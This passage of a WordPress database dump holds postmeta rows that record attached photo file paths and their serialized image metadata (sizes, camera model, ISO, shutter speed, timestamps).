(95,100,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_151139139-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_151139139-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_151139139-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_151139139-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_151139139-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_151139139-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_151139139-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_151139139-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557099\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"100\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_151139139.jpg\";}'),
(96,101,'_wp_attached_file','2021/07/IMG_20200224_151203750-scaled.jpg'),
(97,101,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_151203750-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_151203750-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_151203750-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_151203750-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_151203750-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_151203750-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_151203750-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_151203750-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557123\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_151203750.jpg\";}'),
(98,102,'_wp_attached_file','2021/07/IMG_20200224_151731442-scaled.jpg'),
(99,102,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_151731442-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_151731442-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_151731442-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_151731442-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_151731442-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_151731442-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_151731442-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_151731442-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557451\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_151731442.jpg\";}'),
(100,103,'_wp_attached_file','2021/07/IMG_20200224_151853506-scaled.jpg'),
(101,103,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_151853506-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_151853506-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_151853506-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_151853506-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_151853506-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_151853506-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_151853506-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_151853506-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557533\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_151853506.jpg\";}'),
(102,104,'_wp_attached_file','2021/07/IMG_20200224_151855749_HDR-scaled.jpg'),
(103,104,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_151855749_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_151855749_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_151855749_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_151855749_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_151855749_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_151855749_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_151855749_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_151855749_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557535\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"100\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_151855749_HDR.jpg\";}'),
(104,105,'_wp_attached_file','2021/07/IMG_20200224_151908964_HDR-scaled.jpg'),
(105,105,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_151908964_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_151908964_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_151908964_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_151908964_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_151908964_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_151908964_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_151908964_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_151908964_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557549\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"100\";s:13:\"shutter_speed\";s:17:\"0.016666666666667\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_151908964_HDR.jpg\";}'),
(106,106,'_wp_attached_file','2021/07/IMG_20200224_152037204_HDR-scaled.jpg'),
(107,106,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_152037204_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_152037204_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_152037204_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_152037204_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_152037204_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152037204_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152037204_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152037204_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557637\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:2:\"64\";s:13:\"shutter_speed\";s:18:\"0.0076923076923077\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_152037204_HDR.jpg\";}'),
(108,107,'_wp_attached_file','2021/07/IMG_20200224_152038919_HDR-scaled.jpg'),
(109,107,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:45:\"2021/07/IMG_20200224_152038919_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_152038919_HDR-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_152038919_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_152038919_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_152038919_HDR-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152038919_HDR-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152038919_HDR-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152038919_HDR-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557639\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"100\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_152038919_HDR.jpg\";}'),
(110,108,'_wp_attached_file','2021/07/IMG_20200224_152111725_HDR-scaled.jpg'),
(111,108,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:2560;s:6:\"height\";i:1920;s:4:\"file\";s:45:\"2021/07/IMG_20200224_152111725_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_152111725_HDR-300x225.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:225;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_152111725_HDR-1024x768.jpg\";s:5:\"width\";i:1024;s:6:\"height\";i:768;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_152111725_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_152111725_HDR-768x576.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:576;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152111725_HDR-1536x1152.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:1152;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152111725_HDR-2048x1536.jpg\";s:5:\"width\";i:2048;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152111725_HDR-1568x1176.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:1176;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557671\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";i:1;s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_152111725_HDR.jpg\";}'),
(112,109,'_wp_attached_file','2021/07/IMG_20200224_152113390_HDR-2-scaled.jpg'),
(113,109,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:2560;s:6:\"height\";i:1920;s:4:\"file\";s:47:\"2021/07/IMG_20200224_152113390_HDR-2-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152113390_HDR-2-300x225.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:225;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:41:\"IMG_20200224_152113390_HDR-2-1024x768.jpg\";s:5:\"width\";i:1024;s:6:\"height\";i:768;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152113390_HDR-2-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152113390_HDR-2-768x576.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:576;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:42:\"IMG_20200224_152113390_HDR-2-1536x1152.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:1152;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:42:\"IMG_20200224_152113390_HDR-2-2048x1536.jpg\";s:5:\"width\";i:2048;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:42:\"IMG_20200224_152113390_HDR-2-1568x1176.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:1176;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557673\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"500\";s:13:\"shutter_speed\";s:17:\"0.058823529411765\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"1\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:32:\"IMG_20200224_152113390_HDR-2.jpg\";}'),
(114,110,'_wp_attached_file','2021/07/IMG_20200224_152113390_HDR-scaled.jpg'),
(115,110,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:2560;s:6:\"height\";i:1920;s:4:\"file\";s:45:\"2021/07/IMG_20200224_152113390_HDR-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_152113390_HDR-300x225.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:225;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"IMG_20200224_152113390_HDR-1024x768.jpg\";s:5:\"width\";i:1024;s:6:\"height\";i:768;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_152113390_HDR-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:38:\"IMG_20200224_152113390_HDR-768x576.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:576;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152113390_HDR-1536x1152.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:1152;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152113390_HDR-2048x1536.jpg\";s:5:\"width\";i:2048;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:40:\"IMG_20200224_152113390_HDR-1568x1176.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:1176;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557673\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"500\";s:13:\"shutter_speed\";s:17:\"0.058823529411765\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";i:1;s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:30:\"IMG_20200224_152113390_HDR.jpg\";}'),
(116,111,'_wp_attached_file','2021/07/IMG_20200224_152131671-scaled.jpg'),
(117,111,'_wp_attachment_metadata','a:6:{s:5:\"width\";i:1920;s:6:\"height\";i:2560;s:4:\"file\";s:41:\"2021/07/IMG_20200224_152131671-scaled.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_152131671-225x300.jpg\";s:5:\"width\";i:225;s:6:\"height\";i:300;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_152131671-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:34:\"IMG_20200224_152131671-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:35:\"IMG_20200224_152131671-768x1024.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:1024;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"1536x1536\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_152131671-1152x1536.jpg\";s:5:\"width\";i:1152;s:6:\"height\";i:1536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"2048x2048\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_152131671-1536x2048.jpg\";s:5:\"width\";i:1536;s:6:\"height\";i:2048;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:14:\"post-thumbnail\";a:4:{s:4:\"file\";s:36:\"IMG_20200224_152131671-1568x2091.jpg\";s:5:\"width\";i:1568;s:6:\"height\";i:2091;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"2\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:9:\"XT1635-01\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:10:\"1582557691\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:4:\"4.68\";s:3:\"iso\";s:3:\"125\";s:13:\"shutter_speed\";s:18:\"0.0083333333333333\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}s:14:\"original_image\";s:26:\"IMG_20200224_152131671.jpg\";}'),
(118,112,'_wp_attached_file','2021/07/IMG_20200224_152408892-scaled.jpg'),
